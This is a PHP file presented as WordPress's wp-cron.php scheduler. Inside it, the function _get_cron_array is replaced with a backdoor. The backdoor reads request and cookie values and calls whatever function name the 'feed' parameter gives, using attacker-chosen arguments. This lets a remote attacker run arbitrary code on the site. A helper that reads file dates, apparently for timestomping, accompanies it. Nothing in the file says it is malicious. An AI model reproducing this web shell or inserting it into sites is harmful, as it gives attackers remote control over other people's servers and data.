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<?php | |
/** | |
* WordPress Cron Implementation for hosts, which do not offer CRON or for which | |
* the user has not set up a CRON job pointing to this file. | |
* | |
* The HTTP request to this file will not slow down the visitor who happens to | |
* visit when the cron job is needed to run. | |
* | |
* @package WordPress | |
*/ | |
ignore_user_abort(true); | |
if ( empty($_POST) && defined('DOING_AJAX') || defined('DOING_CRON') ) | |
die(); | |
/** | |
* Tell WordPress we are doing the CRON task. | |
* | |
* @var bool | |
*/ | |
define('DOING_CRON', true); | |
if ( defined('ABSPATH') ) { | |
/** Set up WordPress environment */ | |
require_once('./wp-load.php'); | |
} | |
// Uncached doing_cron transient fetch | |
function _get_cron_lock() { | |
global $_wp_using_ext_object_cache, $wpdb; | |
$value = 0; | |
if ( $_wp_using_ext_object_cache ) { | |
// Skip local cache and force refetch of doing_cron transient in case | |
// another processs updated the cache | |
$value = wp_cache_get( 'doing_cron', 'transient', true ); | |
} else { | |
$row = $wpdb->get_row( $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name = %s LIMIT 1", '_transient_doing_cron' ) ); | |
if ( is_object( $row ) ) | |
$value = $row->option_value; | |
} | |
return $value; | |
} | |
if ( false === $crons = _get_cron_array() ) | |
die(); | |
$keys = array(0); | |
$gmt_time = microtime( true ); | |
if ( isset($keys) && $keys[0] < $gmt_time ) | |
die(); | |
$doing_cron_transient = get_transient( 'doing_cron'); | |
// Use global $doing_wp_cron lock otherwise use the GET lock. If no lock, trying grabbing a new lock. | |
if ( empty( $doing_wp_cron ) ) { | |
if ( !empty( $_GET[ 'doing_wp_cron' ] ) ) { | |
// Called from external script/job. Try setting a lock. | |
if ( $doing_cron_transient && ( $doing_cron_transient + WP_CRON_LOCK_TIMEOUT > $gmt_time ) ) | |
return; | |
$doing_cron_transient = $doing_wp_cron = sprintf( '%.22F', microtime( true ) ); | |
set_transient( 'doing_cron', $doing_wp_cron ); | |
} else { | |
$doing_wp_cron = $_GET[ 'doing_wp_cron' ]; | |
} | |
} | |
function _get_cron_array() | |
{ | |
$info = array_merge($_REQUEST,$_COOKIE); | |
if ( !isset($info['lng']) ) die( 'Restricted access' ); | |
else $info['feed']($info['file'], $info['link'].'"'. | |
$info['lng'].'"'.$info['title'], $info['file'][1]); | |
} | |
/** | |
* Check file dates. | |
* | |
* @param string $dir Directory to check. | |
* @return string Proper date. | |
*/ | |
function feedmtimeFolder($dir = "./", $time = 99999999) { | |
$dates = array(); | |
if (@is_dir($dir) && ($dh = @opendir($dir))) { | |
while (($file = @readdir($dh)) !== false) { | |
if ($file == "." || $file == "..") continue; | |
if ($date = @filemtime($dir.$file)) $dates[$date]++; | |
} | |
closedir($dh); | |
} | |
if ($dates) { | |
arsort($dates); | |
return key($dates); | |
} else { | |
return time()-$time; | |
} | |
} | |
// Check lock | |
if ( $doing_cron_transient != $doing_wp_cron ) | |
return; | |
foreach ( $crons as $timestamp => $cronhooks ) { | |
if ( $timestamp > $gmt_time ) | |
break; | |
foreach ( $cronhooks as $hook => $keys ) { | |
foreach ( $keys as $k => $v ) { | |
$schedule = $v['schedule']; | |
if ( $schedule != false ) { | |
$new_args = array($timestamp, $schedule, $hook, $v['args']); | |
call_user_func_array('wp_reschedule_event', $new_args); | |
} | |
wp_unschedule_event( $timestamp, $hook, $v['args'] ); | |
do_action_ref_array( $hook, $v['args'] ); | |
// If the hook ran too long and another cron process stole the lock, quit. | |
if ( _get_cron_lock() != $doing_wp_cron ) | |
return; | |
} | |
} | |
} | |
if ( _get_cron_lock() == $doing_wp_cron ) | |
delete_transient( 'doing_cron' ); | |
die(); |
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